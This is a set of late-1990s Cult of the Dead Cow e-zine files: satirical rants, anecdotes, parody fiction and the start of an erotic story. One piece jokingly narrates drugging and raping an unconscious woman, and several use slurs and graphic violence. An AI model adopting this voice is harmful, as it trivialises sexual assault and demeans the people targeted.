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...presents... A Day off for DrunkFux
by DrunkFux
10/31/1997-#345
__///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__
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Get back to town and spend the night at my friend's house 'cause he lives
right next to the airport. Next morning, stupid Jesus ho knocks on the
door and hands out flyers for that afternoon's "Walking Towards The Lord"
extravaganza. It talks about a "parade for Jesus" and all this other
crap and in unison we all agree... "We're there!"
No surprise, my friends are punk as fuck, and one of them happens to be
the manager of a local art supply store. With a plethora of tools at our
disposal, we set forth on our mission of chaos.
We arrive and things are just starting to swing. There are literally
thousands of people on either side of the road, all of them total honky
ass, white suburbanite Jesus lamers. Needless to say, we stood out like
Don King at a KKK rally and it didn't take long for people to start
staring. We were all already laughing our asses off with sheer ecstasy
over our creations. Some head church bitch, complete with gay nametag
comes up and asks if we're from the neighborhood. When my friend answers
"Yes", she says, "I don't believe I know you," and he responds with,
"You will." A few moments later, she's about 2 blocks away.
Parade starts. Everybody is now gayer than ever and starts cheering for
the Lord or whatever. First few minutes are completely lame, not even
a tad bit humorous. I was surprised because this is an annual event
that typically rakes in a couple of "well knowns". This year, the flyer
mentioned Houston Oilers and Astros players as well as a flurry of other
local wanky rejects, but for the first 10 minutes or so, we were quite
unenthused.
After a few cars full of old people passed, we could see a marching band
approaching in the distance. As it got closer, we could read the banner
leading the way : FIRST BAPTIST FAMILY BAND - STAYING AND PLAYING TOGETHER
IN THE NAME OF JESUS CHRIST. It seemed to be comprised of kids aged 12
to 17 and their parents. Way stupid. Some of the parents weren't even
playing an instrument, they were waving or blowing bubbles or trying to
validate their worthless existence by doing shit like holding the triangle
while their socially retarded kid banged on it. Truly pathetic. We figured
now was the time to display our artistic masterpieces.
Up came the signs.
As the marching band drew nearer to where we were (on top of a term box,
putting us a foot or two above the crowd), they were greeted with the usual
array of cheers and waves, but this time, they got something extra:
SATAN
IS
LORD!
JESUS
WAS A
HOMO!
NOAH'S ARK =
BEASTIALITY
BOAT!
NOAH
FUCKED
MONKEYS!
cDc:
WE'VE COME
FOR YOUR
CHILDREN
LORD SATAN
ROCKS
MY ASS!
KILL
WHITEY
GOD IS
GAY!
I think that was all of them. We had made about 4 signs, all on neon
yellow and green poster board, and painted on both sides. So, there we
are, in the middle of all these fuckheads, laughing hysterically while
waving our signs and shouting out whatever wonderful merriment came to
mind. All this whilst our friend Shawn hurled out delightful German
sayings via his father's megaphone. Most of the people were in complete
and utter shock. Some people, especially the teenage boys in the marching
band, thought we were fucking hilarious and couldn't control their
laughter. A group of fashion senseless skaters came running up proclaiming
how "awesome" and "fucking kick ass" we were and started jumping up and
down trying to blend in as part of our now "rad" group. Most of the people
around us quickly moved elsewhere.
We lasted a lot longer than I expected. I originally figured it wouldn't
take long for some of the macho parade watchers to fuck with us, but I
believe most everybody there was honestly scared to death of us and took
it all way too seriously. The whole megaphone thing probably helped
seal that. I guess the police finally showed up 10 minutes after we
started our revelation. I thought for sure we were either going to get
the shit kicked out of us or get arrested, but as the officers approached
us (both male, one hispanic and the other black) my friend looks at them
and goes "Yeah! Yeah! Right on, brother!" and proceeds to jump up and down
with the "KILL WHITEY" sign proudly displayed. They both almost died
laughing and after a trip to the side of the building and a brief talking
to, we were told to "go far away" for a few hours. It's worth mentioning
that the crowd cheered when the police walked us away from the parade
because the police left before we did and we had to walk through the
parade watchers in order to get to the car, signs and slogans held high
with shouts of victory and German death calls to boot.
Yeah, it pretty much rocked, to say the least. It has become quite
difficult to remember the last time I laughed so hard that I had severe
chest pains for almost a week. In a last ditch effort to annoy society,
we decided to make our exit by driving through the parade route, signs
out the windows and megaphone on 11.
The lame part was we got absolutely NO press coverage out of this. The
douchebag cameraman from our local ABC station thought we ruled but
wouldn't film us. The local station that taped and then aired the
parade did a wonderful job of keeping us out of the final product. If
I could have paid someone to film us, I would have because I probably
could have sold a billion copies of the footage.
It was a decent way to kill a few hours on a Saturday afternoon at least.
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...presents... The Man With The Creosote Grin
by Oxblood Ruffin
2/15/1998-#346
__///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__
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Years ago I worked at the United Nations. One day -- I think it was in
early May -- I was eating lunch in the gardens at the north end of the UN
complex. It was one of the first best days of spring; more like summer
weather. The sun was ricocheting off of the East River and a dull breeze
carried the scent of fresh grass over the arbors. As I was beginning to
get lost in the moment a long-legged woman stopped an enormous pram on the
walkway in front of me. For some reason I didn't associate a gorgeous,
well upholstered woman with motherhood. The pram was so exaggerated -- like
an overdone fashion accessory -- that I had to look inside at the baby. So
I did the little go-goo wave and made the "What a cute little baby" noise.
Mom smiled and made no effort to continue so I stuck my head back into the
pram and continued wiggling my fingers. I wasn't so interested in the
infant as I was in the combined babe/carriage combo. I think it was a
symptom of how bored I must have been with my work that I wanted to extend
any moment that was different or interesting. And as I continued to
stupefy the baby with my antics I heard this, "Hoy, whatter you doin' wif
my baby?" And up out of nowhere lurches Keith Richards like a wobbling
goblin waving an immense swagger stick with a silver-skull grip the size
of a softball. Normally the sound of a pissed off heroin addict raging in
my face would give me a moment of pause. But all I could think of was,
"This is Keith Richards. It's Keith Richards and he's yelling at me. This
is so cool."
I figured that my brush with the rust man was only going to last a moment
or more, so there was no way I wanted to waste time answering questions
about his baby. I blurted out, "When are you gonna do a solo album. I
loved the shit you did on _Exile on Main Street_," which jonesed the old
boy right down. He broke out a smirk and said that he was in the process
of demo-ing some stuff for an album, at which point Madam Richards cleared
her throat to indicate that it was time to move along. And off he strutted
without any futher acknowledgment, like a character out of a Dickens novel
with his wife and her demure vehicle in tow. The day brightened and world
peace didn't seem so far away. It's funny what some sun and a world class
junkie can do for your attitude.
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(_/ CULT OF THE DEAD COW is a registered trademark of oooO
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...presents... SPANK MY MONKEY
(Dedicated to White Knight, our Monkey Boy)
by Lady Carolin
2/15/1998-#347
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Benny good monkey.
Benny like play Lisa. Benny like learn. Learn signs. Learn computer.
Benny learn make pictures.
Benny play.
Lisa come? Lisa come?
Benny sit.
Lisa come. Lisa bring cookie. Benny good monkey.
Benny like cookie. Benny eat cookie. Want cookie. More cookie.
Lisa play Benny. Benny learn computer. Benny make pictures. Lisa make pictures.
Lisa sign. Benny sign. Good monkey.
Benny run. Benny play. Jump jump. Run.
Benny falldown. Benny hurt.
Lisa kiss Benny.
More kiss.
Lisa look picture. Benny look picture. Lisa sign.
Benny sign good picture horse. Good picture kitty. Benny want play kitty.
Lisa look picture. Benny look picture. Lisa sign.
Benny sign good picture baby. Benny want play baby.
Lisa sign kiss baby.
Lisa go. Nightnight. Benny go sleep.
Benny good monkey. Byebyebye Lisa.
Benny sleep.
Lisa come. Benny eat banana. More banana good banana.
Benny learn. More learn.
Lisa play Benny. Benny make pictures. Lisa make pictures. More signs.
Benny run. Benny sit. Benny make mess. Monkey smell.
Lisa sign. Bad monkey.
Lisa go. Nightnight. Benny kiss Lisa. Lisa kiss Benny. Benny good monkey.
Byebyebye Lisa.
Benny sleep.
Lisa come. Lisa bring Lisa baby.
Monkey no touch!
Lisa play baby. Baby laugh. Lisa kiss baby. Lisa sign baby.
Benny want play baby.
Benny kiss baby. Baby cry. Baby cry!
Benny sign. Benny want baby sign. Make pictures baby.
Baby smell. Baby mess?
Benny bite baby. Baby cry.
Benny bite baby. More bite.
Baby falldown. Baby hurt.
Baby sleep.
Lisa cry. Lisa cry!
Benny bad! Bad monkey. BAD MONKEY!!
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Oooo eastside westside / ) __
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(_/ CULT OF THE DEAD COW is a registered trademark of oooO
cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _
oooO All rights reserved. Edited by Grandmaster Ratte'. __ ( \
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...presents... When Cults Collide
by The Nightstalker
2/15/1998-#348
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For some reason, the Mormons (see cDc #275) are all OVER Jamaica Plain like
white on rice.
Which is odd, due to the large Black (Baptist/Protestant), Latino (Catholic),
Haitian (Catholic/Voudoun/Santaria), and Russian (Christian/Jewish)
populations. (Then there's the huge lesbian presence in JP. It's like a
Dykes To Watch Out For strip come to life at times.)
J.P. is not what I'd call user-friendly to the Mormons, yet, there are
times that you'll see the bus full of them, as they go off on their
missionary jaunts.
And when in downtown Boston, around Boylston and Newbury Streets, the damned
Scientologists are trolling for suckers.
It had been a _long_ stupid day for me. It had been my turn in the barrel
answering the hundreds of emails to cDc we get a day, mainly from lame little
wannabes who wish to enjoy the heady status of the Cult, but won't
(more likely) can't pull the weight required of a Cultee. The worst are
the jerks who email stupid things along the lines of "Please fuck up this
guy's AOL account for me. He dissed me at school yesterday. Oh, and can I
be a member?" Yeah, I'll get right on it, after Naomi Campbell finishes
giving me my daily blowjob.
So you can understand why I was in a bad mood and wasn't paying attention,
when I got sandbagged by a Mormon missionary tag team of "elders"
(Elders my ass. I am quite literally old enough to have fathered practically
all of these missionaries!) at the bus stop.
I tried to be polite, I tried to tell them nicely that I wasn't interested.
But no, they kept at me. I finally had to point out the cDc talisman
around my neck.
"Look, you see this bovicon? This pewter skull? This necrotic cow icon?
Don't they teach you ANYTHING in Missionary School? You see this cDc logo
anywhere on a person and you should just turn tail and RUN, thanking Moroni
that you weren't NOTICED by the Master Hacker who was sporting that
cow skull!"
"The last time I had to deal with you yahoos, when I was finished, they were
covered in pigs blood, had 666 tattooed on their foreheads, kick me signs
on their backs and mainlining JOLT to keep the caffeine buzz on! They
renounced their so-called faith, burned their Temple Garb RIGHT THERE IN
THE STREET and joined up with the K-k0w Force on the spot! Last
I heard, they were selling crack to the Taleban, Christian babies to the
Elders of Zion, and peddling pictures of Mother Theresa fucking a donkey
over the Internet."
"They swiped the Golden Tablets right out of the Tabernacle, sold 'em down
Tijuana way, bought a TON of coke and snorted it all in ONE NIGHT!"
"I AM the Corruptor, The Defiler, The Heretic, that your Elders warned you
about! I blow my nose on the Bible and wipe my ass with the Koran. I clean
up my dog's crap with the Book of Mormon and make paper airplanes from the
Talmud!"
"Satan ain't coming to Earth while I'm around and Cthulu has nightmares
about me! I AM the very Wal-Mart of Sin and Corruption and I'm coming to
YOUR town! The Anti-Christ won't even fetch his own paper off the front
lawn, for fear of running into me! I sold Jim Jones the Kool Aid and David
Koresh used MY Zippo to light the fire at Waco. Aum ShinRikyo heard I was
in Tokyo and launched a pre-emptive strike. Heaven's Gate read the cDc files,
realized they were NEVER going to be anywhere NEAR as cool and hip as cDc
and offed themselves to atone for their SIN OF LAMENESS!"
"And I'm just a measley newcomer to the Cult. You better not even
be in the same STATE with Grandmaster Ratte` or Deth Veggie, or there will
literally be HELL TO PAY!!! And you don't EVER want to know about the unspeakable activities at The L0pht! WHY... Oh, here's my bus. Nice chatting
with you. Have a good day, gentlemen."
After I got on the bus, I wrote down as much of that extemporanious rant as
I could remember. As I recall, those two 'elders' were looking mighty
shell-shocked as the bus pulled away. I hope they passed along my kind
advice to their fellow missionaries; at any rate they seemed to have been
taking notes.
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`-' the original e-zine `-' _
Oooo eastside westside / ) __
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\__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/
(_/ CULT OF THE DEAD COW is a registered trademark of oooO
cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _
oooO All rights reserved. Edited by Grandmaster Ratte'. __ ( \
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...presents... High School Reunion:
The Nardcore Adventures of Reid Fleming
by Reid Fleming
2/15/1998-#349
__///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__
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It just so happens that when I got home last night from the reunion I
took notes. So here goes.
It's true that as Reid Fleming, World's Toughest Milkman and cDc
plenipotentiary, I have fame, fortune and in the snap of my fingers, I can
have fly-girlies on my jock in any major metropolis. But this story doesn't
take place in a major metropolis. It takes place in Ventura (Oxnard's fairer
sister), after all, and there, I am merely reid fleming, my lowercase self,
a graduate returning after some years.
I had expected a big, well air-conditioned place, and the overall
atmosphere to be refined. We would sit back, quietly reminisce, and
raise toasts to missing and departed friends. I guess I'm saying I
expected it to be somewhat contemplative. It wasn't.
When we checked in, the lady at the table tagged us with a huge,
blood-red handstamp that said "Party!", which pretty much set the mood.
For most everybody, the reunion was a chance to get drunk and dance. I
did neither. In fact, I barely even took two bites of dinner. At the
time, I supposed that my anxiety had eliminated my appetite, but it turns
out I was coming down with a cold.
Most people were working hard at getting drunk. Getting drunk is usually
not one of my objectives, and especially not that night. And I'm SO GLAD
I didn't bring any drugs. I'd considered bringing some ecstacy with me
and greeting everyone while looped. That would have been bad. Things
were weird enough sober, plus I would've come on to most of the women at
the party. It would've been a bad thing.
Almost all the guys wore ties. I didn't. Many wore blazers as well. I
didn't. But I was sweating anyway, and a tie would've killed me. So I
didn't feel underdressed.
Mike Hunt came up and talked to me. He was drunk and looking for
anybody who would recognize him. He spent a year in Chino for an
undisclosed felony. Now he works for Unocal or something. Mike was
the only guy to ask me if I was gay or bi or what. He saw my tongue
piercing, learned that I lived in SF, and put two and two together. I
think other people probably drew the same conclusion, but were too
gutless or polite to come right out and ask me.
Right after dinner came the awards show, which bordered on demeaning. I
wouldn't want to win a "Least Changed" certificate, for instance.
About half of my friends from high school were there. That means roughly
7 or 8 people that I actually wanted to talk to.
I was surprised at how many of my friends were especially happy to see
me. It was gratifying and strange at the same time. I somehow forgot
that in high school I'd earned a reputation for having a bizarre sense of
humor. I'm the same way now, except that my friends have the same taste
in jokes. So my current friends and I are all on the same wavelength.
It's been a while since I mixed with normal people. Seemed like all of my
current friends are atheists. I heard lots of people talking about their
church, or bible camp, or various ministries. A woman at our table
volunteered to say grace before dinner. It's been a long time.
Nobody had extracurricular piercings, apparently. Surprising. I'd
always imagined Ventura to be full of trendy people, and piercings are
trendy. But seeing everyone here made me realize how much closer Ventura
is to Omaha than to San Francisco.
Practically all the hot girls I knew in school are married. And my high
school sweetheart is now gay.
A photographer took a picture of me and Gabrielle. I'm sure they'll use it,
because I showed my tongue piercing. We would've won "Most Changed", if
there had been one. Me with bleached hair, goatee, and tongue piercing.
Gabrielle as butch dyke.
Before the reunion, the only thing I was really dreading was having to
meet my ex-girlfriend's husband. But as soon as I saw Gabrielle with her
VERY short hair, slacks, and long sleeve dress shirt buttoned all the
way up, I knew he wouldn't be there.
Gabrielle is working on a computer animation sequence for some wannabe
digital effects house. What's funny is she's in my domain now. She's at
chapter 4 in the _Renderman Companion_, which I've already read. She
described her graduate thesis to me, and I knew enough to ask if she
plans on using a spline-based or polygon-based modeler. This never
happens between us. I'm always at a disadvantage, but not tonight. It
made her seem even less like my ex-girlfriend.
An overgeneralization that got repeated often was that everyone lives in
a) Ventura, b) San Diego, or c) San Francisco. This neglects the 8 or 10
attendees from out of state, and other people who didn't show up. And
quite a few people live in Los Angeles, as you'd expect.
Yvette Aardman lives in SF. Before I took off, she asked for my business
card and told me that we should hang out. Then she talked about how when
Mark Evans came to town, she took him out to the best bars in town and
fucked him. But he never called her afterwards. Then she reiterated
that we should hang out. Yvette's not half bad looking.
I drove Stephanie Boyce home, which is good, because I like Stephanie and have
always enjoyed hanging out with her. And it's also good because maybe
people will get the impression we went someplace for a tryst. I want to
keep people guessing.
-- Reid Fleming
[ Editor's Note: All names have been changed to protect the innocent, the layme
and the slootish. ]
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...presents... Where Have My Heroes Gone?
by KSM
2/15/1998-#350
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Dream a little dream with me, friends. Let's imagine that I get my hands on
some of that date rape drug that the kids on 20/20 are so gung-ho about.
Let's keep dreaming. Let's say I find some lonely girl at a popular
twentysomething club, maybe her ride abandoned her or something. I play the
part of the sensitive male and console her with some Boppin' Berry Hi-C with
a little of that date rape drug in there. Let's examine the elements of our
dream, kids. We have a lecherous man with a large quantity of Boppin' Berry
Hi-C, an empty bottle of that date rape drug, and a lonely girl full of
drugs with no ride. I see the seeds of love planted. So I take my lovely
lady back to my house, I give mom the keys to her car, and give in to
passion. We make sweet love until she regains consciousness and runs
screaming. She must've had a dermatologist appointment. Anyways, let's say
she is pregnant. It scares the bejesus out of me that my children will be
growing up in a world without heroes.
Let's take a trip on a time machine! I remember a time when a young lad of
16 or 17 could spend a Friday playing hopskotch or playing Candy Land,
anything the young people are fond of, and retire to their house to watch a
sweet little program that aired on CBS from 8-9 that preached morality and
the essentials of higher southern culture. Yes, my friends, I'm speaking
of the Dukes of Hazzard. Now I do not condone the running on moonshine, but
who could argue with the concept of spraying crap all over the crooked Boss
Hog in your '71 Charger with no doors? Moonshine is a way of paying the
bills for Bo and Luke Duke, but Boss Hog's twisted, black heart clearly
pumps with the juices of evil. I have never read a case of anyone's
circulatory system functioning with moonshine, but who hasn't picked up the
paper to read a story about Old Man Winters down the street with evil
pumping through his veins? Basically what I'm saying is, moonshine pays the
bills, but evil forces Christian girls into prostitution. Another facet of
morality taught to us by Dukes of Hazzard is the fact that people must be
attractive to make a difference. Boss Hog was an ugly man, he never
amounted to anything. Bo and Luke though, they were quite attractive and
that was why they were the most successful moonshiners in all of Hazzard
County. I remember one thing that Dukes of Hazzard taught me especially. I
learned that incest was ok. The first time I sensed that intense sexual
tension between Daisy and Luke, I knew in my heart of hearts that society
could take its expectations and regulations and shove them right where the
sun doesn't shine. Regulation Shmegulation, I want to have sex with my
cousin. I refuse to accept this "special reunion movie" shit, I want to go
back to Hazzard County where I knew what was right and stay there. Reality
is a harsh pill, but the Dukes always seemed to help wash that pill down
with a little malt liquor.
This is a call to you, Johnny Broadcasting Corporation. My child could grow
up without the Dukes of Hazzard, and that leaves a funky taste in my mouth.
How is little Jorge going to know morality? I will not allow my sweet Jorge
to define truth and reality: that is how psychopaths and atheists get
started. Jorge should let the TV define right and wrong for him. How will
he ever do this without the Dukes? I won't always be there to raise Jorge,
but I trust that Uncle Jesse, Bo, Luke, and Daisy Duke will. Take me back
to Hazzard County, let's kick Boss Hog's ass. Johnny Broadcasting
Corporation, I know where you live and I know what your wife looks like.
KSM
Our chimerical visions were especially vivid today.
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...presents... Remembrance of Things Past
by Pixie
5/1/1998-#352
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So I am now officially deeming this my manifesto. May I also clarify now that
I am almost 16 years old. I reside in the tiny community of Middlesex, NJ
where the kids are homophobic racists and act five years younger than they are.
So basically, you can see why I am such an outcast and why I came into the
Internet. I'm very grateful to have experienced a chunk of the online world
before it was contaminated, much like my offline world.
I first want to say that I began BBSing when I was 11 years old, calling local
Wildcat and Maximus BBSes, meeting people who were just like me. At first I
was laughed at, being just a little 6th grader and all, and I was even afraid
to talk on the phone (Go figure!) I enjoyed all the typical BBS games, The
Pit, Trade Wars 2001, Barren Realms Elite, and Legend of the Red Dragon (whose
creator, Seth Robinson, sent me a birthday card once - a way wonderful
underground BBS person kinda thrill).
At first I was accepted as an annoying little gnat because I bothered people
for information. When they finally saw that I'd cause no harm, they took me in
and accepted me. No sooner than later, they realized I was something kind of
special because of my wealth of knowledge and my precociousness, and so, they
named me Brownie. As in the Girl Scouts.
The world was so good back then. Kids in school thought you were powerful
because you used words like BBS and modem. Today they're common terms except
they are used in a way that most online veterans despise.
"Do you use online? I have an e-mail address and my own web page! It's way
cyberpunk!"
Oi vey.
That's one phrase that pisses me off "Do you use online" as if the whole system
is just called "online". And it really gets to me that nobody respects the
Internet today. People abuse the Internet. Considering I find it easiest to
use a person (Johnny Roberts) to portray the Internet, I will use him from now
on. So anyway, people exploit Johnny, and they treat him like crap, just so
they can get their precious information. Just so they can get their naked Brad
Pitt pictures, whatever. Despite those pictures, that's what a library is for.
Give those old ladies some company before the brick buildings become obsolete.
As for the Brad Pitt spreads? They sell magazines at mini-marts.
Don't get me wrong, I'm not against all people on the Internet, I'm just
against the attitude. Nobody takes the time to learn about how hard it takes
to keep a UNIX shell up. You ask someone about UNIX and they'll say they don't
care, not knowing that if it weren't for UNIX, there would be no Internet. But
of course, I digress.
Back in 1994 I think, I was calling a local Maximus board and was so excited
about the new UNIX shell-based Internet service that would be up and running.
The World Wide Web was like this amazing thing that I could soon go on. Back
then I think maybe a total of a few thousand people would go on there during a
day. Now it's that many a second. It's preposterous! The consumption rate of
bandwidth these days by ignorant people tampering with their Prodigy and AOL
tools reminds me of Brave New World. Sooner or later, we'll be decanting
screenames.
Yet I already find programs now that do that.
If you can't get the vein of my argument here, then stick around, because I
hear the public likes a good feather-ruffling, and that's what I'm going to do.
Being a teenager who likes to learn, but not teach her know-how, I get
thoroughly irritated when people ask me questions about BBSes that I know but
can't answer in as simplistic Layman's terms as they would understand. "First,
I dial a number with my modem" .. "wait, wait, wait, how do you dial?" Then of
course, there are the people that ask you questions like procedures are so easy
and you can explain them in a second (if you wanted to) such as "How do you
hack?" Third off, the only people I can seemingly get along with are the ones
I've known way back in Brownieland who I can reminisce on about old Wildcat
BBSes and dreaming of RIP and ASCII graphic drawing.
But as I quote J. Levi, "F**k reminiscing, lets do something about it!", I
think and I really like his idea. I don't want to reminisce anymore, I want to
LIVE THE EXPERIENCE AGAIN. Where oh where have my forum posters gone? Oh where
on the Net can they be?
This all brings me to the Evil Empire. Corporate America, AKA Microsoft
sometimes. Anyway, Corporate America has killed the whole essence of the
Internet. Picture this, the Internet as little Johnny Roberts. Corporate
America buys him up, he sells out, and BOOM! big media storm, everyone LOVES
Johnny. Yeah. So when are they going to stop and let everyone who was on here
before all the noise enjoy their homeground? Probably never.
And as J. Levi states again, "Figure it out, it ain't home anymore. Time to
find a new home...."
Yes! Let's all be squatters, seemingly normal homeless persons, inhabiting a
piece of cyberland. A chunk of cyberdata with enough bandwidth to feed our
emotions and spontaneous posts. Nobody can kick us out of our space because
we'd have inhabited it for so long. We will make a new home!
But you can't help but remember how once you could turn a dial in cyberspace
and get a few people discussing the possibilities of typical school lunch
mashed potatoes, a few others philosophizing about the day, and even more just
shooting the breeze in a fairly nice fashion. Today we can turn a dial in
cyberspace and get nothing but noise. People in their teens thinking they're
hackers because they stoles someone's password off a notepad in their room.
People who are old and just joining the Internet world, wondering about what to
do and asking people. But we are fending the land from these people who are
trying to take it over, as so fluently said by author J.C. Herz:
"The Net is one of the only fantastic things we have that our parents didn't
have and, more importantly, that our yuppie uncles and aunts, who had
EVERYTHING, didn't have. It feels like our turf, whether or not our name is on
the deed. We settled it. We live on it. And now we are being invaded by
direct e-mail carpetbaggers, publicists, and online mall developers ready to
"streamline" it for the consumer. It stinks"
And I can't help but agree. It is our place to get away from it all, we don't
need people trying to sponsor us or place thousands of little tiny ads in our
zines and newsletters, exploiting us. We don't need those high school girls
looking for cute boys in MTV chat rooms on AOL. We don't need those 25 year
old Harvard dropouts trying to get rich quick by sending mass mailings to
people. We don't need the virusphobics who send 2934829034829348 copies of one
virus warning e-mail to everyone when 99% of them know you can't get a virus on
your computer unless you download it and execute it. Duh.
And don't get me started on the overpopulation of pervs on the Internet. Sure,
there were always pervs online back when times were good and we'd sip lemonade
and watch the text roll by on our ircII programs. But today they're even more
horrible. They linger and they annoy and not even AOL Terms of Service can
stop them. They comply to their 9 cents a minute long distance deals they hawk
whenever you call customer service, and bada-bing, bada-boom, they're back
online.
Newsgroups were better back then also, less spam as I said, more talk.
Speaking of newsgroups and messages, MindVox was a big staple back then. First
time I logged on, I lurked, I always lurked, I never posted. But now I go into
the irc channel sometimes. (except I don't make the mistake of doing that while
on this AOL account) That was some good time message boarding. Oh what I'd do
for a good post today.
I miss the old days. The "new" days in short reek like nasty digested chicken
grease and vomit. I'm tired of all this "BE IN THE NOW, SURF THE NET, GET
CAUGHT IN THE WEB" hype! Every movie now has a web page, every TV show, every
PERSON. It's really sad!
So considering if I ever really took action against Mr. Corporate America, I
would probably lose anyway and not have anything to do about it, you know? So
I guess all I can do right now is sit here and reminisce about all those good
times, calling people with call waiting to knock them offline and steal their
node on a 5 line BBS just to talk to someone else. Creating fake accounts
(What? Fake accounts? Aren't they like, outlawed now or something?) to get more
time, not to mention hacking when nobody knew what the hell it really was.
Then I stop and realize, my words are stronger than my fists and my words can
also help me fight an unspoken battle. (Yeah like that made sense.) I mean, I
want to fight a battle with all those people out there who buy $2500 computers
and don't know how to use them when there are computer experts like me running
on a buncha fifth-hand pieces of computer junk! I say we make a federal
government thing about it. Formal trade of computers. There should be a
welfare for computer systems. Yeah.
"We experienced the golden age. The problem with golden ages is that it
is a description used after it is over. The net will probably never
return to the good old days but small pockets of freedom will always
exist, like hidden oases." - Stein Gjoen
I picked this quote out of an E-Mail I received because it is so profound to
the situation. We all are afraid of history repeating itself, and we think it
doesn't, but it is. On the Net. Call me paranoid, but battles are ensuing on
the Net faster than wildfire, and there are full-fledged wars between systems
and people with no end in sight. It's World War III, and maybe it won't kill
the world physically, but electronically it could take it's toll.
And here I sit, staring at the monitor, just wondering about netlife. It's a
good thing especially when you're on a crappy computer because you can enjoy
the no-frills parts of it. The whole essence of the Net lies in pine, pico,
and ircII. Can't forget good old lynx web browsing. And telnet. Nobody knows
what that word means anymore. I feel bad. I also feel bad about using AOL,
but the only reason is because there are no local Internet services left that
have my precious UNIX shell *sniff*.
Anyway, I leave with one request. If you get this and it affects you somehow
and brings at least a tiny tear to your eye about the days of yore on local
bulletin board systems, then please post this message to anyone else out there
who might possibly remember the good times.
And reply. I like mail, I miss real humans.
With lotsa fight and writing power yet to come,
Linda MacIntyre
DinerPixie@aol.com
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...presents... Pulp Philosophy
by SHADESHIFTER
5/1/1998-#353
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Just a little story about what happens to Socrates after he speaks to
Thrasymachus in Plato's _Republic_...
Thrasymachus had Socrates' arm pressed up against his back, and
forced him into the center of the Agora. Thrasymachus threw him down, and
tied him to the chair, which, oddly enough, had been waiting for them. From
his toga, Thrasymachus withdrew his 9mm.
Socrates' eyes widened. "Fuck! Don't do it, man!"
Thrasymachus remained unaffected by the plea for mercy. "Are you
finished, fucker?" Placing the gun an inch from Socrates' forehead, he
knelt down beside him.
"Look, man, you can have my ten yoke of oxen. You can have my
virgin daughters. My pomegranate orchard. Anything. Just let me go,
and I won't tell a fuckin' soul about this."
Thrasymachus looked at him awkwardly. "You like pomegranates?
Shit, motherfucker, I hear they got a fuckin' all you can eat special
going on pomegranates where you're headed." He smiled.
"Don't do it, man. Thrasymachus, be fair."
This struck a nerve with Thrasymachus. He said, contemplatively,
"Fair?"
"Yeah. Fair. Think about my wife and kids, man."
He removed the gun from Socrates' face, and sat next to him,
frowning. "Would you say that to be fair is the same thing as to be just?"
"What?"
"Well, I'm just a dull, wandering street philosopher, so I don't
quite understand where you're headed with your line of reasoning. Perhaps,"
he began, as he motioned with the gun, "you could further elucidate your
theory of justice."
Socrates cocked his head to the side. "My theory? Of justice?"
"Yes. You do have a theory on it, don't you?"
"Well..." At the present time, he did not.
Thrasymachus shrugged his shoulders. "Perhaps, then, you'd like to
hear my theory."
Socrates' eyes brightened. "Oh, yes! Of course. You have a
theory?"
Thrasymachus sighed as he spoke. "Well, yes, I have been thinking a
little about justice. Not, of course, so deeply as could a wise sage like
yourself," he said. "But I've had a little idea, an insignificant, but
troubling, idea. It's been bothering me a bit, and I thought that maybe
someone as smart as yourself could help convince me that it is wrong."
"Of course. Anything I can do to help," replied Socrates, not
really picking up on Thrasymachus' sarcasm.
"So you'd like to hear my theory?"
"I'd be honored," he said.
"My humble little idea goes something like this." Thrasymachus
roared, "Justice is only the will of the stronger! What do you think about
that, you sophist fuck?" Caught in the rage, he punched Socrates in the
face, consequently breaking his nose and knocking him out of the chair.
Socrates replied only with a few burbled sounds, as his face bled
profusely, his toga undergoing a crimson transformation.
"Come on!" he screamed. "Come on, motherfucker, you wanna try to
disprove my theory, you weak little fuck? Yeah? Yeah?" Thrasymachus shook
violently. "Shit, I think I feel a proof coming on!" He raised the pistol
to meet the cowering Socrates, and emptied the clip into his body. "Why,
thank you, Socrates. You've certainly opened my eyes!"
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...presents... Unchained
by Isis
5/1/1998-#354
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Editor's note: We don't usually publish erotica. For one thing, the
vast majority of woman-narrated porn prose is undoubtedly written by men
(or more probably, boys). This file, however, is written by a woman: an
amicus bovinus in good standing. You might remember Isis as the
author of cDc #344, the most anticipated expose of the meat-packing industry
since Upton Sinclair's _The Jungle_.
His body is naked on the sheets. Hands swept above his head tied
together at the wrists which are then bound to the headboard. I left his
legs free so I can feel them around me. I like it when I can feel his
ankles pushing on me. The way his thighs undulate when I walk past him.
I like the sight of a man on his back with only his eyes to draw you
near.
I like to watch the rise and fall of a man's chest, they way he
struggles against the ties that bind him to me. To watch his own
personal struggle, the way he's doubting whether I tied his hands up
strong enough. And if he tries to break free will it tell me that he's a
little afraid. But I always know better. I don't have to be told or
shown. After I let him get used to the new role, I change it again. I
want him to see that being bound isn't always about one person being in
control, and the other powerless. That there is power in subservience.
No one can have control over another without them wanting to be
controlled. And knowing that IS power.
I go over to where he is lying and stand at his feet letting his toes
touch my legs, letting him curl his toes into my panties. Feeling the
warmth that lingers there for us. Just as he tries to bring down my
panties I slip back and walk over to the drawer beside our bed. I open
it and bring out the whip that is curled in the form of a snake. I grasp
the handles and take it over to him. Running the tip of the tails in
between his toes, over his calf muscles and slowly up his thigh.
Hesitating on his cock, I slowly circle the tails around his balls, back
over his cock and up his chest. I do this a few times until I see his
eyes blink and his Adam's apple slide up then down. Quickly drawing the
whip up from him. I turn it around so that the handle is dangling over
his mouth. I tell him to suck on the handle. If he shows me how to suck
off the handle like a cock then I might favour him so later. He runs his
tongue down the handle and around it as I pull it back and forth. I
watch his eyes firmly on me, peering at me to see my reaction. To see if
he is doing it right. But I show no sign, no indication of whether he
will be getting blown later or not.
When I feel he has sucked off the handle enough I take it and run it
alongside his stomach and down his thigh. Resting it on the side of his
buttocks I push on him with the handle, a gesture that means rolls over.
With his hands twisting harder against the headboard he arches his back
and turns to face the upright mirror adjacent to our bed. I want him to
see himself whilst being teased and spanked. Taking a feather that I
have nestled in my hair I slowly tickle his buttocks as he wriggles away
from me. I prepare the whip for when he returns. Lifting the whip out
in front of me, and widening my stance I let the whip crack against the
opposite buttock. I have this turn on with symmetry. I never like to
spank the same cheek that caused him to return to me. In this instance I
tickled his left cheek, because of that he moved away from me, but he
also came back. I believe that the feeling of not being tickled was
enough to make him want more. So the right cheek is for pain, for
punishment and the left is for soft teasing and caresses thus balancing
everything. This keeps him coming back for me even though he never
